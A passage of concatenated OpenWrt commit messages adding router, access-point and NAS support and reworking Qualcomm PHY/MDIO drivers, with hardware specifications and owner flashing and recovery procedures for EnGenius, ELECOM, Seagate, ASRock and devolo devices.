- SATA
- NAND flash memory controller
- SD
- USB
- GSBI2, GSBI7
- PCIE2
- GMAC0, GMAC3
Works properly:
- GSBI4 UART
- GSBI5 SPI
- GMAC1, GMAC2
- PCIE0, PCIE1
- MDIO0
Does not work properly:
- CPU SPC
- This can cause a system hang. Same as IPQ8065.
See 2336c2dbb1
[1] https://www.aterm.jp/function/wg2600hp3/appendix/opensource.html
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
The Makefile is rejecting all files with for a given prefix (here
"board-plasmacloud_pa2200") when it didn't match a known suffix. Instead it
stops the build with an error like:
Makefile:135: *** Unrecognized board-file suffix '.ipq4019' for 'board-plasmacloud_pa2200.ipq4019'. Stop.
The correct suffix for the QCA4019/hw1.0 is qca4019 and not ipq4019.
Fixes: 4871fd2616 ("ipq40xx: add support for Plasma Cloud PA2200")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
The Makefile is rejecting all files with for a given prefix (here
"board-plasmacloud_pa1200") when it didn't match a known suffix. Instead it
stops the build with an error like:
Makefile:135: *** Unrecognized board-file suffix '.ipq4019' for 'board-plasmacloud_pa1200.ipq4019'. Stop.
The correct suffix for the QCA4019/hw1.0 is qca4019 and not ipq4019.
Fixes: ea5bb6bbfe ("ipq40xx: add support for Plasma Cloud PA1200")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
FCC ID: U2M-EAP350
Engenius EAP350 is a wireless access point with 1 gigabit PoE ethernet port,
2.4 GHz wireless, external ethernet switch, and 2 internal antennas.
Specification:
- AR7242 SOC
- AR9283 WLAN (2.4 GHz, 2x2, PCIe on-board)
- AR8035-A switch (GbE with 802.3af PoE)
- 40 MHz reference clock
- 8 MB FLASH MX25L6406E
- 32 MB RAM EM6AA160TSA-5G
- UART at J2 (populated)
- 3 LEDs, 1 button (power, eth, 2.4 GHz) (reset)
- 2 internal antennas
MAC addresses:
MAC address is labeled as "MAC"
Only 1 address on label and in flash
The OEM software reports these MACs for the ifconfig
eth0 MAC *:0c art 0x0
phy0 --- *:0d ---
Installation:
2 ways to flash factory.bin from OEM:
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop or halt which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.10.1
username and password "admin"
Navigate to "Upgrade Firmware" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9f670000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
Return to OEM:
If you have a serial cable, see Serial Failsafe instructions
otherwise, uboot-env can be used to make uboot load the failsafe image
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will not work
DO NOT downgrade to ar71xx this way, it can cause kernel loop or halt
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
Format of OEM firmware image:
The OEM software of EAP350 is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-senao-eap350-uImage-lzma.bin
openwrt-senao-eap350-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
The OEM upgrade script is at /etc/fwupgrade.sh
Later models in the EAP series likely have a different platform
and the upgrade and image verification process differs.
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1024k
and the factory.bin upgrade procedure would
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035-A switch between
the SOC and the ethernet PHY chips.
For AR724x series, the PLL register for GMAC0
can be seen in the DTSI as 0x2c.
Therefore the PLL register can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x1805002c 1`.
uboot did not have a good value for 1 GBps
so it was taken from other similar DTS file.
Tested from master, all link speeds functional
Signed-off-by: Michael Pratt <mcpratt@pm.me>
FCC ID: A8J-EAP600
Engenius EAP600 is a wireless access point with 1 gigabit ethernet port,
dual-band wireless, external ethernet switch, 4 internal antennas
and 802.3af PoE.
Specification:
- AR9344 SOC (5 GHz, 2x2, WMAC)
- AR9382 WLAN (2.4 GHz, 2x2, PCIe on-board)
- AR8035-A switch (GbE with 802.3af PoE)
- 40 MHz reference clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM NT5TU32M16DG
- UART at H1 (populated)
- 5 LEDs, 1 button (power, eth, 2.4 GHz, 5 GHz, wps) (reset)
- 4 internal antennas
MAC addresses:
MAC addresses are labeled MAC1 and MAC2
The MAC address in flash is not on the label
The OEM software reports these MACs for the ifconfig
eth0 MAC 1 *:5e ---
phy1 MAC 2 *:5f --- (2.4 GHz)
phy0 ----- *:60 art 0x0 (5 GHz)
Installation:
2 ways to flash factory.bin from OEM:
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop or halt which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Upgrade Firmware" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fdf0000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
Return to OEM:
If you have a serial cable, see Serial Failsafe instructions
otherwise, uboot-env can be used to make uboot load the failsafe image
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will not work
DO NOT downgrade to ar71xx this way, it can cause kernel loop or halt
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
Format of OEM firmware image:
The OEM software of EAP600 is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-senao-eap600-uImage-lzma.bin
openwrt-senao-eap600-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
The OEM upgrade script is at /etc/fwupgrade.sh
Later models in the EAP series likely have a different platform
and the upgrade and image verification process differs.
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035-A switch between
the SOC and the ethernet PHY chips.
For AR934x series, the PLL register for GMAC0
can be seen in the DTSI as 0x2c.
Therefore the PLL register can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x1805002c 1`.
Unfortunately uboot did not have the best values
so they were taken from other similar DTS files.
Tested from master, all link speeds functional
Signed-off-by: Michael Pratt <mcpratt@pm.me>
The boards have equivalent hardware except for LEDs
and equivalent device config except for MACs
also use naming convention for mtd-concat partitions
to prepare for upcoming patch
"treewide: use more descriptive names for concatenated partitions"
Signed-off-by: Michael Pratt <mcpratt@pm.me>
FCC ID: A8J-ECB600
Engenius ECB600 is a wireless access point with 1 gigabit PoE ethernet port,
dual-band wireless, external ethernet switch, and 4 external antennas.
Specification:
- AR9344 SOC (5 GHz, 2x2, WMAC)
- AR9382 WLAN (2.4 GHz, 2x2, PCIe on-board)
- AR8035-A switch (GbE with 802.3af PoE)
- 40 MHz reference clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM NT5TU32M16DG
- UART at H1 (populated)
- 4 LEDs, 1 button (power, eth, 2.4 GHz, 5 GHz) (reset)
- 4 external antennas
MAC addresses:
MAC addresses are labeled MAC1 and MAC2
The MAC address in flash is not on the label
The OEM software reports these MACs for the ifconfig
phy1 MAC 1 *:52 --- (2.4 GHz)
phy0 MAC 2 *:53 --- (5 GHz)
eth0 ----- *:54 art 0x0
Installation:
2 ways to flash factory.bin from OEM:
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop or halt which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Upgrade Firmware" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fdf0000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
Return to OEM:
If you have a serial cable, see Serial Failsafe instructions
otherwise, uboot-env can be used to make uboot load the failsafe image
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will not work
DO NOT downgrade to ar71xx this way, it can cause kernel loop or halt
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
Format of OEM firmware image:
The OEM software of ECB600 is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-senao-ecb600-uImage-lzma.bin
openwrt-senao-ecb600-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
The OEM upgrade script is at /etc/fwupgrade.sh
Later models in the ECB series likely have a different platform
and the upgrade and image verification process differs.
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035-A switch between
the SOC and the ethernet PHY chips.
For AR934x series, the PLL register for GMAC0
can be seen in the DTSI as 0x2c.
Therefore the PLL register can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x1805002c 1`.
Unfortunately uboot did not have the best values
so they were taken from other similar DTS files.
Tested from master, all link speeds functional
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Commit 5fc28ef479 ("ath79: Add support for Plasma Cloud PA300")
added the IMAGE/sysupgrade.bin/squashfs definition, which leaks into
other devices, resulting in sysupgrade.bin images that are actually
tarballs and do not boot when directly written to flash.
We can use the normal sysupgrade.bin command variable for this device.
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
[fix format, spelling]
Signed-off-by: David Bauer <mail@david-bauer.net>
b75bcad dhcpv6-ia: remove assignment equal to 0 checks
d1ae052 dhcpv6-ia: fix logic to include IA_PD prefix with lifetimes set to 0
9d5e379 dhcpv6-ia: fix prefix delegation behavior
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
The image never worked in any release and is also broken in snapshots
due to stock bootloader not loading more than 4 MiB.
Hence it's better to remove the image for now, users who want to flash
OpenWrt on new devices may build LEDE 17.01 with everything possible
disabled to get a small enough and working factory image.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Lets use the generic upstream phy_print_status() instead of doing
something similar by hand.
Before:
ess_edma c080000.edma: eth1: GMAC Link is up with phy_speed=1000
After:
ess_edma c080000.edma eth1: Link is Up - 1Gbps/Full - flow control rx/tx
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
Since we now have a proper PHY driver for QCA807x and AR803x has already
been supported properly there is no need for the driver to be poking
on PHY registers for ethtool ops.
So, lets simply use the generic
phy_ethtool_ksettings_get/phy_ethtool_ksettings_set functions.
This also has the advantage of properly populating stuff other than
speeds like, transceiver type, MDI-X etc.
ethtool before:
root@OpenWrt:/# ethtool eth1
Settings for eth1:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
1000baseX/Full
Supported pause frame use: Symmetric Receive-only
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
1000baseX/Full
Advertised pause frame use: Symmetric Receive-only
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Link partner advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
Link partner advertised pause frame use: No
Link partner advertised auto-negotiation: No
Link partner advertised FEC modes: Not reported
Speed: 1000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 4
Transceiver: internal
Auto-negotiation: on
MDI-X: Unknown
Supports Wake-on: d
Wake-on: d
Current message level: 0x00000000 (0)
Link detected: yes
ethtool after:
root@OpenWrt:/# ethtool eth1
Settings for eth1:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
1000baseX/Full
Supported pause frame use: Symmetric Receive-only
Supports auto-negotiation: Yes
Supported FEC modes: Not reported
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
1000baseX/Full
Advertised pause frame use: Symmetric Receive-only
Advertised auto-negotiation: Yes
Advertised FEC modes: Not reported
Link partner advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
Link partner advertised pause frame use: Symmetric Receive-only
Link partner advertised auto-negotiation: Yes
Link partner advertised FEC modes: Not reported
Speed: 1000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 4
Transceiver: external
Auto-negotiation: on
MDI-X: off (auto)
Supports Wake-on: d
Wake-on: d
Current message level: 0x00000000 (0)
Link detected: yes
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
Since the new PHY driver manages each PHY individually and therefore
registers each PHY that is marked with gpio-controller; DT property as a
GPIO controller we need to convert old DT bindings to account for this.
Only 2 boards use this so its not much of an issue.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
This adds necessary DT properties for QCA807x PHY-s to IPQ4019 DTSI.
Also adds the PSGMII PHY as it wont get probed otherwise.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
PHY needs to be soft reset before starting it from ethernet driver as
AR40xx calibration will leave it in unwanted state.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
Since we now have proper PHY driver for the QCA807x PHY-s, lets remove
PHY handling from AR40xx.
This removes PHY driver, PHY GPIO driver and PHY init code.
AR40xx still needs to handle PSGMII calibration as that requires R/W
from the switch, so I am unable to move it into PHY driver.
This also converted the AR40xx driver to use OF_MDIO to find the MDIO
bus as it now cant be set through the PHY driver.
So lets depend on OF_MDIO in KConfig.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
This adds driver for the Qualcomm QCA8072 and QCA8075 PHY-s.
They are 2 or 5 port IEEE 802.3 clause 22 compliant
10BASE-Te, 100BASE-TX and 1000BASE-T PHY-s.
They feature 2 SerDes, one for PSGMII or QSGMII connection with MAC,
while second one is SGMII for connection to MAC or fiber.
Both models have a combo port that supports 1000BASE-X and 100BASE-FX
fiber.
Each PHY inside of QCA807x series has 2 digitally controlled output only
pins that natively drive LED-s.
But some vendors used these to driver generic LED-s controlled by
user space, so lets enable registering each PHY as GPIO controller and
add driver for it.
This also adds the ability to specify DT properties so that 1000 Base-T
LED will also be lit up for 100 and 10 Base connections.
This is usually done by U-boot, but boards running mainline U-boot are
not configuring this yet.
These PHY-s are commonly used in Qualcomm IPQ40xx, IPQ60xx and IPQ807x
boards.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
With the reworked MDIO driver, EDMA will fail to get the MII BUS as it
used the MII BUS stored inside the MDIO structure private data.
This obviously does not work with the modernized driver, so lets switch
to using a purpose build of_mdio_find_bus() which will return the MII
BUS and only requires the MDIO node to be passed.
This is easy as we already have the node parsed.
Also, since we now require OF_MDIO add that as dependency.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
IPQ40xx MDIO driver was upstreamed in kernel version 5.8.
So lets backport the upstream version and drop our local one.
This also refreshed the kernel config since the symbol name has changed.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
As of hostapd upstream commit 7d2ed8ba "Remove CONFIG_IEEE80211W build parameter"
https://w1.fi/cgit/hostap/commit?id=7d2ed8bae86a31dd2df45c24b3f7281d55315482
802.11w feature is always enabled in the build time.
It doesn't make sense to opt-in 802.11w per driver as hostapd will always
be compiled with this feature enabled.
As suggested by Hauke Mehrtens, for now keep 11w enabled in build_features.h
for compatibility reasons. This option will be dropped when LuCI is adjusted.
Signed-off-by: Dobroslaw Kijowski <dobo90@gmail.com>
Without this change no libc is selected and the build will fail. This
will select glibc for ARC CPUs.
Fixes: 95f1002aca ("toolchain: default to glibc for ARC")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
ELECOM WRC-1167GST2 is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based
on MT7621A.
Specification:
- SoC : MediaTek MT7621A
- RAM : DDR3 256 MiB
- Flash : SPI-NOR 32 MiB
- WLAN : 2.4/5 GHz 2T2R (MediaTek MT7615D)
- Ethernet : 10/100/1000 Mbps x5
- Switch : MediaTek MT7530 (SoC)
- LED/keys : 6x/6x (2x buttons, 1x slide-switch)
- UART : through-hole on PCB
- J4: 3.3V, GND, TX, RX from ethernet port side
- 57600n8
- Power : 12VDC, 1A
MAC addresses:
LAN : 04:AB:18:**:**:07 (Factory, 0xE000 (hex))
WAN : 04:AB:18:**:**:08 (Factory, 0xE006 (hex))
2.4 GHz : 04:AB:18:**:**:09 (none)
5 GHz : 04:AB:18:**:**:0A (none)
Flash instruction using factory image:
1. Boot WRC-1167GST2 normally
2. Access to "http://192.168.2.1/" and open firmware update page
("ファームウェア更新")
3. Select the OpenWrt factory image and click apply ("適用") button
4. Wait ~150 seconds to complete flashing
Notes:
- there is no way to configure the correct MAC address for secondary phy
(5GHz) on MT7615D
- Wi-Fi band on primary phy (2.4GHz) cannot be limitted by specifying
ieee80211-freq-limit
(fail to register secondary phy due to error)
- mtd-mac-address in the wifi node is required for using
mtd-mac-address-increment
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[rebase onto split DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ELECOM WRC-1167GS2-B is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based
on MT7621A.
Specification:
- SoC : MediaTek MT7621A
- RAM : DDR3 128 MiB
- Flash : SPI-NOR 16 MiB
- WLAN : 2.4/5 GHz 2T2R (MediaTek MT7615D)
- Ethernet : 10/100/1000 Mbps x5
- Switch : MediaTek MT7530 (SoC)
- LED/keys : 6x/6x (2x buttons, 1x slide-switch)
- UART : through-hole on PCB
- J4: 3.3V, GND, TX, RX from ethernet port side
- 57600n8
- Power : 12VDC, 1A
MAC addresses:
LAN : 04:AB:18:**:**:13 (Factory, 0xFFF4 (hex))
WAN : 04:AB:18:**:**:14 (Factory, 0xFFFA (hex))
2.4 GHz : 04:AB:18:**:**:15 (none)
5 GHz : 04:AB:18:**:**:16 (Factory, 0x4 (hex))
Flash instruction using factory image:
1. Boot WRC-1167GS2-B normally
2. Access to "http://192.168.2.1/" and open firmware update page
("ファームウェア更新")
3. Select the OpenWrt factory image and click apply ("適用") button
4. Wait ~120 seconds to complete flashing
Notes:
- there is no way to configure the correct MAC address for secondary phy
(5GHz) on MT7615D
- Wi-Fi band on primary phy (2.4GHz) cannot be limitted by specifying
ieee80211-freq-limit
(fail to register secondary phy due to error)
- mtd-mac-address in the wifi node is required for using
mtd-mac-address-increment
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[rebase onto split DTSI patch]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates a dedicated DTSI for ELECOM WRC GS devices with 2 PCI
WiFi chips in preparation for the 1 chip - dual radio devices, so
the latter can reuse part of the common definitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit b1952dc259 as it's
causing issues on the buildbot which uses some kind of ccache wrapper
and so the breakage needs to be investigated further:
bash: cmake: command not found
time: tools/ccache/compile#0.05#0.03#0.15
ERROR: tools/ccache failed to build.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SOC: IPQ4018 / QCA Dakota
CPU: Quad-Core ARMv7 Processor rev 5 (v71) Cortex-A7
DRAM: 256 MiB
NOR: 32 MiB
ETH: Qualcomm Atheros QCA8075 (2 ports)
PLC: MaxLinear G.hn 88LX5152
WLAN1: Qualcomm Atheros QCA4018 2.4GHz 802.11bgn 2:2x2
WLAN2: Qualcomm Atheros QCA4018 5GHz 802.11a/n/ac 2:2x2
INPUT: RESET, WiFi, PLC Button
LEDS: red/white home, white WiFi
To modify a retail device to run OpenWRT firmware:
1) Setup a TFTP server on IP address 192.168.0.100 and copy the OpenWRT
initramfs (initramfs-fit-uImage.itb) to the TFTP root as 'uploadfile'.
2) Power on the device while pressing the recessed reset button next to
the Ethernet ports. This causes the bootloader to retrieve and start
the initramfs.
3) Once the initramfs is booted, the device will come up with IP
192.168.1.1. You can then connect through SSH (allow some time for
the first connection).
4) On the device shell, run 'fw_printenv' to show the U-boot environment.
Backup this information since it contains device unique factory data.
5) Change the boot command to support booting OpenWRT:
# fw_setenv bootcmd 'sf probe && sf read 0x84000000 0x180000 0x400000 && bootm'
6) Change directory to /tmp, download the sysupgrade (e.g. through wget)
and install it with sysupgrade. The device will reboot into OpenWRT.
Notice that there is currently no support for booting the G.hn chip.
This requires userland software we lack the rights to share right now.
Signed-off-by: Stefan Schake <stefan.schake@devolo.de>
When hostapd gets restarted to often/quickly will cause procd to not restart it
anymore. it will think that hapd is in a crash loop.
Signed-off-by: John Crispin <john@phrozen.org>
Signed-off-by: Felix Fietkau <nbd@nbd.name> [adjust respawn time]
Currently, you are not able to get statistics about IPv4 and IPv6
usage. This information can be collected via the snmp and snmp6.
However, in the current state this interface is disabled as you can
read in the "902-debloat_proc.patch":
"Strip non-essential /proc functionality to reduce code size"
Tools like netstat use the snmp/6 interface to collect interface
statistics. Some prometheus exporters also mention this:
- prometheus-collectors/netstat.lua
- prometheus-collectors/snmp6 (still a PR)
- collectd/snmp6 (still a PR)
PRs:
- https://github.com/collectd/collectd/pull/3789
- https://github.com/openwrt/packages/pull/14158
Instead of enabling it as default for all devices we condition it
default y if SMALL_FLASH
A test shows it needs around 16 kiB.
Signed-off-by: Nick Hainke <vincent@systemli.org>
[fixed whitespace issue]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The Seagate BlackArmor NAS220 is a consumer NAS
with two internal drive bays. The stock OS runs
RAID 1 over the disks via mdadm.
Device specification:
- SoC: Marvell 88F6192 800 MHz
- RAM: 128 MB
- Flash: 32 MB
- 2 x internal SATA II drives
- Ethernet: 10/100/1000 Mbps (single port, no switch)
- WLAN: None
- LED: Power, Status, Sata Activity
- Key: Power, Reset
- Serial: 10 pin header, (115200,8,N,1), 3.3V TTL
9|x - x|10
7|x - x|8
5|x - GND|6
3|x - RX|4
1|TX - x|2
front of case
- USB ports: 2 x USB 2.0
Flash instruction:
NOTE: this process uses a serial connection. It will upgrade the
bootloader and reset the bootloader environment variables
TFTP server setup
- Setup PC with TFTP server set the PC IP to 10.4.50.5 as TFTP server
- Copy these files to TFTP server location
- u-boot.kwb
- seagate_blackarmor-nas220-initramfs-uImage
- seagate_blackarmor-nas220-squashfs-sysupgrade.bin
- seagate_blackarmor-nas220-squashfs-factory.bin
Seagate NAS setup
- Connect LAN cable between PC and seagate device
- Connect to serial to seagate device
Install u-boot
- Boot seagate device and stop in bootloader by pressing any key
- run 'printenv' from u-boot and save the values
- tftpboot 0x2000000 u-boot.kwb
- nand erase.part uboot
- nand write 0x2000000 0x0 ${filesize}
- reset
Update MAC address in u-boot env
- Stop in u-boot by pressing any key
- Get your MAC address from your saved printenv. Is also on chassis
- setenv ethaddr <your MAC>
- saveenv
Option 1 (recommended) - Install OpenWrt via initramfs and sysupgrade
- tftpboot 0x2000000 seagate_blackarmor-nas220-initramfs-uImage
- bootm 0x2000000
- *OpenWrt should be running now, however it is not written to flash yet*
- From the running instance of OpenWrt use Luci's "flash image" feature
from the web site or use sysupgrade from the console to write
seagate_blackarmor-nas220-squashfs-sysupgrade.bin to flash
Option 2 - Install OpenWrt by flashing factory image from u-boot
- nand erase.part ubi
- tftpboot 0x2000000 seagate_blackarmor-nas220-squashfs-factory.bin
- nand write 0x2000000 ubi ${filesize}
- reset
Signed-off-by: Kip Porterfield <kip.porterfield@gmail.com>
The ASRock G10 is a 2.4/5 GHz band 11ac "Gaming" router,
based on Qualcomm IPQ8064.
Specifications:
SoC: Qualcomm IPQ8064
CPU: Dual-Core A15 @ (384 - 1,400 MHz, 2C2T)
DRAM: 512 MiB (~467 MiB available)
NAND: 128 MB (Micron MT29F1G08ABBEAH4)
WLAN0: 4T4R 5 GHz Wlan (QCA9980)
WLAN1: 4T4R 2.4 GHz Wlan (QCA9980)
ETH: 5x 10/100/1000 Mbps Ethernet (QCA8337)
INPUT: Reset Button, WPS 2.4G and WPS 5G Button
LEDS: 1 multicolor status LED
USB: 2x USB 3.0 Type-A
POWER: 12VDC/3A AC Adapter + dedicated Power Switch
UART: Setting is 115200-8-N-1. 1x4 .1" unpopulated header
on the PCB (J6 - very tiny silkscreen next to TX).
Pinout: 1. 3v3 (Square - best skipped!), 2. RX, 3. GND, 4. TX
WARNING: The serial port needs a TTL/RS-232 3.3v level converter!
(Depending on the serial adapter RX and TX might need to
be swapped).
Note about the IR-Remote:
There's a 8-Bit MCU (SONIX SN8F25E21SG) which is controlling the
IR-Remote and is fed by the IR-Photodiode. The SoC can talk to
the device via I2C. The vendor's GPL archive comes with the source
of the interface driver for this as a (character driver), the main
control software is however a blob.
Installation Instructions:
1. Download factory image to disk
2. Apply factory image via stock web-gui
Back to stock:
1. Login to router via ssh
2. run "asrock_g10_back_to_factory" script from /sbin
Notes:
- If something goes wrong durring sysupgrade, router will go back to
factory image.
- Asrock G10 uses partition layout from smem. So partition layout can
be normal or alternate.
- 900-arm-add-cmdline-override.patch was copied from 102-powerpc-add-cmdline-override.patch
from powerpc target.
Knowledge about BOOTCONFIG partition was based on user "jmomo" post from old
OpenWrt forum (Post #50):
https://forum.archive.openwrt.org/viewtopic.php?id=65956&p=2
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[bump to 5.4, add factory image, fix sysupgrade, convert partition
layout to smem, remove ipq-wifi-asrock-g10 and use ART, minor fixes]
Co-Authored-by: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Tested-by: Lukasz Ostapiuk <palibrzuch@gmail.com>
Newer EnGenius software that still uses the tar.gz platform
instead of the custom header requires more checks for upgrading,
but their script includes a way to skip them...
the existence of a file in the tar.gz called failsafe.bin
Their upgrade script has these lines:
\#pass check when upload with full image file
[ "${errcode}" -eq "1" ] && [ -f failsafe.bin ] && errcode="0"
This overrides the script's "errcode" variable
which can be set if any of the following actions/checks fail:
- untarring of the upload
- magic number for kernel: "2705"
- magic num for rootfs: "7371" or "6873"
- md5sums for each file in the format
filename:md5
- existence of a file matching FWINFO*
that it has boardname in the name somewhere (grep)
that the 4th field of separator "-" is at least 3 (version)
Otherwise we would need to generate md5sums in this strange format
and touch a file with specific requirements in the name.
This does not effect boards where the advanced checks do not apply.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
[fixed SoB to match From:]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
FCC ID: A8J-ENSTAC
Engenius EnStationAC v1 is an outdoor wireless access point/bridge with
2 gigabit ethernet ports on 2 external ethernet switches,
5 GHz only wireless, internal antenna plates, and proprietery PoE.
Specification:
- QCA9557 SOC
- QCA9882 WLAN (PCI card, 5 GHz, 2x2, 26dBm)
- AR8035-A switch (RGMII GbE with PoE+ IN)
- AR8031 switch (SGMII GbE with PoE OUT)
- 40 MHz reference clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM NT5TU32M16FG
- UART at J10 (unpopulated)
- internal antenna plates (19 dbi, directional)
- 7 LEDs, 1 button (power, eth, wlan, RSSI) (reset)
MAC addresses:
MAC addresses are labeled as ETH and 5GHz
Vendor MAC addresses in flash are duplicate
eth0 ETH *:d3 art 0x0/0x6
eth1 ---- *:d4 ---
phy0 5GHz *:d5 ---
Installation:
2 ways to flash factory.bin from OEM:
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop or halt which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Firmware" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fd70000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
Return to OEM:
If you have a serial cable, see Serial Failsafe instructions
